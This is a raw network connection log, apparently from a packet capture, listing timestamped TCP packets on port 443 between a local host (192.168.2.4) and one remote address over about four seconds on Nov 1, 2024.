Nov 1, 2024 05:53:38.862785101 CET	49979	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:38.862801075 CET	443	49979	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:38.862881899 CET	49979	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:38.863058090 CET	49979	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:38.863068104 CET	443	49979	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:38.894622087 CET	443	49976	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:38.895123005 CET	49976	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:38.895142078 CET	443	49976	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:38.895534992 CET	49976	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:38.895539045 CET	443	49976	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:38.950653076 CET	443	49975	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:38.950716972 CET	443	49975	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:38.950783968 CET	49975	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:38.950958014 CET	49975	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:38.950963974 CET	443	49975	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:38.950974941 CET	49975	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:38.950978041 CET	443	49975	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:38.953821898 CET	49980	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:38.953932047 CET	443	49980	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:38.954035997 CET	49980	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:38.954185009 CET	49980	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:38.954221964 CET	443	49980	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:39.068734884 CET	443	49976	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:39.068809986 CET	443	49976	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:39.068854094 CET	443	49976	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:39.068881989 CET	49976	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:39.068933010 CET	49976	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:39.069125891 CET	49976	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:39.069138050 CET	443	49976	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:39.069148064 CET	49976	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:39.069152117 CET	443	49976	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:39.071974039 CET	49981	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:39.072000980 CET	443	49981	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:39.072093010 CET	49981	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:39.072261095 CET	49981	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:39.072272062 CET	443	49981	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:39.340218067 CET	443	49977	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:39.340977907 CET	49977	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:39.340991020 CET	443	49977	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:39.341522932 CET	49977	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:39.341530085 CET	443	49977	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:39.470824003 CET	443	49977	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:39.470984936 CET	443	49977	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:39.471057892 CET	49977	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:39.471307039 CET	49977	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:39.471322060 CET	443	49977	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:39.471354961 CET	49977	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:39.471359968 CET	443	49977	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:39.474116087 CET	49982	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:39.474201918 CET	443	49982	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:39.474298000 CET	49982	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:39.474410057 CET	49982	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:39.474438906 CET	443	49982	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:39.485605955 CET	443	49978	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:39.486027956 CET	49978	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:39.486047029 CET	443	49978	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:39.486478090 CET	49978	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:39.486483097 CET	443	49978	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:39.607218981 CET	443	49979	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:39.607747078 CET	49979	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:39.607759953 CET	443	49979	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:39.608223915 CET	49979	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:39.608227968 CET	443	49979	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:39.617324114 CET	443	49978	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:39.617510080 CET	443	49978	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:39.617541075 CET	443	49978	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:39.617563009 CET	49978	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:39.617609978 CET	49978	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:39.617671967 CET	49978	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:39.617685080 CET	443	49978	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:39.617693901 CET	49978	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:39.617697954 CET	443	49978	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:39.620326042 CET	49983	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:39.620340109 CET	443	49983	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:39.620429039 CET	49983	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:39.620573044 CET	49983	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:39.620583057 CET	443	49983	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:39.721069098 CET	443	49980	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:39.721759081 CET	49980	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:39.721817017 CET	443	49980	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:39.722204924 CET	49980	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:39.722219944 CET	443	49980	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:39.807651997 CET	443	49981	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:39.808192968 CET	49981	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:39.808207035 CET	443	49981	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:39.808629036 CET	49981	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:39.808633089 CET	443	49981	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:39.867640018 CET	443	49980	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:39.867670059 CET	443	49980	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:39.867712021 CET	443	49980	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:39.867759943 CET	49980	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:39.867801905 CET	49980	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:39.868040085 CET	49980	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:39.868081093 CET	443	49980	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:39.868108034 CET	49980	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:39.868123055 CET	443	49980	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:39.870939016 CET	49984	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:39.870953083 CET	443	49984	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:39.871038914 CET	49984	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:39.871201038 CET	49984	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:39.871212006 CET	443	49984	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:39.910979033 CET	443	49979	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:39.911020041 CET	443	49979	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:39.911076069 CET	49979	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:39.911354065 CET	49979	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:39.911354065 CET	49979	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:39.911365032 CET	443	49979	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:39.911371946 CET	443	49979	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:39.914376020 CET	49985	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:39.914433002 CET	443	49985	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:39.914541006 CET	49985	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:39.914694071 CET	49985	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:39.914725065 CET	443	49985	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:39.937501907 CET	443	49981	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:39.937577009 CET	443	49981	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:39.937643051 CET	49981	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:39.937875032 CET	49981	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:39.937881947 CET	443	49981	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:39.937892914 CET	49981	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:39.937896967 CET	443	49981	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:39.940923929 CET	49986	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:39.940932989 CET	443	49986	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:39.941025019 CET	49986	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:39.941200018 CET	49986	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:39.941210032 CET	443	49986	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:40.216638088 CET	443	49982	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:40.217371941 CET	49982	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:40.217410088 CET	443	49982	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:40.217905045 CET	49982	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:40.217916965 CET	443	49982	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:40.346039057 CET	443	49982	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:40.346240044 CET	443	49982	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:40.346307039 CET	49982	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:40.346385956 CET	49982	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:40.346385956 CET	49982	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:40.346420050 CET	443	49982	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:40.346445084 CET	443	49982	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:40.350092888 CET	49987	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:40.350156069 CET	443	49987	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:40.350217104 CET	49987	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:40.350353003 CET	49987	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:40.350383043 CET	443	49987	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:40.387692928 CET	443	49983	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:40.388051033 CET	49983	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:40.388075113 CET	443	49983	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:40.388520956 CET	49983	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:40.388529062 CET	443	49983	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:40.522397041 CET	443	49983	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:40.522614956 CET	443	49983	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:40.522685051 CET	49983	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:40.528095007 CET	49983	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:40.528107882 CET	443	49983	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:40.528116941 CET	49983	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:40.528120995 CET	443	49983	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:40.530675888 CET	49988	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:40.530705929 CET	443	49988	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:40.530776978 CET	49988	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:40.530891895 CET	49988	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:40.530904055 CET	443	49988	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:40.600929976 CET	443	49984	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:40.601367950 CET	49984	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:40.601382971 CET	443	49984	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:40.601813078 CET	49984	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:40.601816893 CET	443	49984	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:40.645586014 CET	443	49985	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:40.646044970 CET	49985	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:40.646091938 CET	443	49985	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:40.646542072 CET	49985	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:40.646554947 CET	443	49985	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:40.670707941 CET	443	49986	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:40.671036005 CET	49986	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:40.671046972 CET	443	49986	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:40.671518087 CET	49986	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:40.671521902 CET	443	49986	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:40.730217934 CET	443	49984	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:40.730245113 CET	443	49984	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:40.730284929 CET	443	49984	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:40.730386019 CET	49984	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:40.730386019 CET	49984	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:40.730506897 CET	49984	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:40.730513096 CET	443	49984	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:40.730521917 CET	49984	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:40.730525017 CET	443	49984	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:40.733032942 CET	49989	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:40.733061075 CET	443	49989	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:40.733139038 CET	49989	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:40.733273983 CET	49989	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:40.733287096 CET	443	49989	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:40.774499893 CET	443	49985	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:40.774544001 CET	443	49985	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:40.774621964 CET	49985	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:40.774753094 CET	49985	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:40.774754047 CET	49985	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:40.774786949 CET	443	49985	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:40.774811983 CET	443	49985	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:40.776695013 CET	49990	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:40.776709080 CET	443	49990	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:40.776781082 CET	49990	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:40.776905060 CET	49990	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:40.776913881 CET	443	49990	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:40.800087929 CET	443	49986	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:40.800148010 CET	443	49986	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:40.800194025 CET	49986	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:40.800319910 CET	49986	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:40.800323963 CET	443	49986	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:40.800335884 CET	49986	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:40.800339937 CET	443	49986	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:40.802196026 CET	49991	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:40.802208900 CET	443	49991	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:40.802278042 CET	49991	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:40.802424908 CET	49991	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:40.802436113 CET	443	49991	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:41.105648041 CET	443	49987	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:41.106168985 CET	49987	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:41.106205940 CET	443	49987	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:41.106628895 CET	49987	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:41.106640100 CET	443	49987	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:41.236454010 CET	443	49987	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:41.236638069 CET	443	49987	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:41.236709118 CET	49987	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:41.236813068 CET	49987	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:41.236814022 CET	49987	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:41.236850023 CET	443	49987	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:41.236875057 CET	443	49987	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:41.239787102 CET	49992	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:41.239814997 CET	443	49992	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:41.239907026 CET	49992	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:41.240070105 CET	49992	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:41.240082979 CET	443	49992	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:41.256853104 CET	443	49988	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:41.257312059 CET	49988	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:41.257328987 CET	443	49988	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:41.257751942 CET	49988	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:41.257755995 CET	443	49988	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:41.385596037 CET	443	49988	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:41.385656118 CET	443	49988	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:41.385715008 CET	49988	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:41.385926008 CET	49988	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:41.385937929 CET	443	49988	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:41.385947943 CET	49988	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:41.385952950 CET	443	49988	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:41.388406038 CET	49993	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:41.388442039 CET	443	49993	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:41.388511896 CET	49993	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:41.388669014 CET	49993	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:41.388689995 CET	443	49993	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:41.462440968 CET	443	49989	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:41.462809086 CET	49989	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:41.462827921 CET	443	49989	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:41.463238955 CET	49989	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:41.463244915 CET	443	49989	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:41.507787943 CET	443	49990	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:41.508873940 CET	49990	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:41.508893013 CET	443	49990	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:41.509311914 CET	49990	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:41.509316921 CET	443	49990	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:41.575540066 CET	443	49991	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:41.576029062 CET	49991	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:41.576088905 CET	443	49991	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:41.576478958 CET	49991	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:41.576484919 CET	443	49991	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:41.593020916 CET	443	49989	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:41.593095064 CET	443	49989	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:41.593245029 CET	49989	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:41.593369007 CET	49989	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:41.593384981 CET	443	49989	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:41.593396902 CET	49989	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:41.593400955 CET	443	49989	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:41.595799923 CET	49994	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:41.595817089 CET	443	49994	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:41.595885038 CET	49994	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:41.596010923 CET	49994	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:41.596021891 CET	443	49994	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:41.638418913 CET	443	49990	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:41.638494968 CET	443	49990	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:41.638546944 CET	49990	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:41.638741970 CET	49990	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:41.638753891 CET	443	49990	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:41.638763905 CET	49990	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:41.638767958 CET	443	49990	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:41.641593933 CET	49995	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:41.641629934 CET	443	49995	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:41.641686916 CET	49995	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:41.641819000 CET	49995	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:41.641833067 CET	443	49995	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:41.710668087 CET	443	49991	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:41.710755110 CET	443	49991	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:41.710813046 CET	49991	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:41.710916042 CET	49991	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:41.710927010 CET	443	49991	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:41.710936069 CET	49991	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:41.710939884 CET	443	49991	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:41.713025093 CET	49996	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:41.713051081 CET	443	49996	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:41.713120937 CET	49996	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:41.713251114 CET	49996	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:41.713262081 CET	443	49996	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:41.972270012 CET	443	49992	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:41.972851038 CET	49992	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:41.972870111 CET	443	49992	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:41.973315001 CET	49992	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:41.973320007 CET	443	49992	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:42.102252007 CET	443	49992	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:42.102823973 CET	443	49992	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:42.102869034 CET	443	49992	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:42.102874041 CET	49992	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:42.102915049 CET	49992	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:42.103533030 CET	49992	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:42.103544950 CET	443	49992	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:42.103554010 CET	49992	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:42.103559017 CET	443	49992	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:42.107714891 CET	49997	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:42.107743025 CET	443	49997	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:42.107842922 CET	49997	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:42.107985020 CET	49997	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:42.107999086 CET	443	49997	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:42.134900093 CET	443	49993	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:42.135261059 CET	49993	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:42.135277033 CET	443	49993	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:42.135703087 CET	49993	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:42.135708094 CET	443	49993	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:42.265598059 CET	443	49993	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:42.265644073 CET	443	49993	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:42.265692949 CET	49993	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:42.265903950 CET	49993	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:42.265918970 CET	443	49993	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:42.265928984 CET	49993	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:42.265933990 CET	443	49993	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:42.268558025 CET	49998	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:42.268593073 CET	443	49998	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:42.268707037 CET	49998	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:42.269083977 CET	49998	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:42.269095898 CET	443	49998	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:42.335441113 CET	443	49994	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:42.335992098 CET	49994	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:42.336011887 CET	443	49994	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:42.336445093 CET	49994	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:42.336451054 CET	443	49994	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:42.378377914 CET	443	49995	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:42.378750086 CET	49995	443	192.168.2.4	13.107.246.45
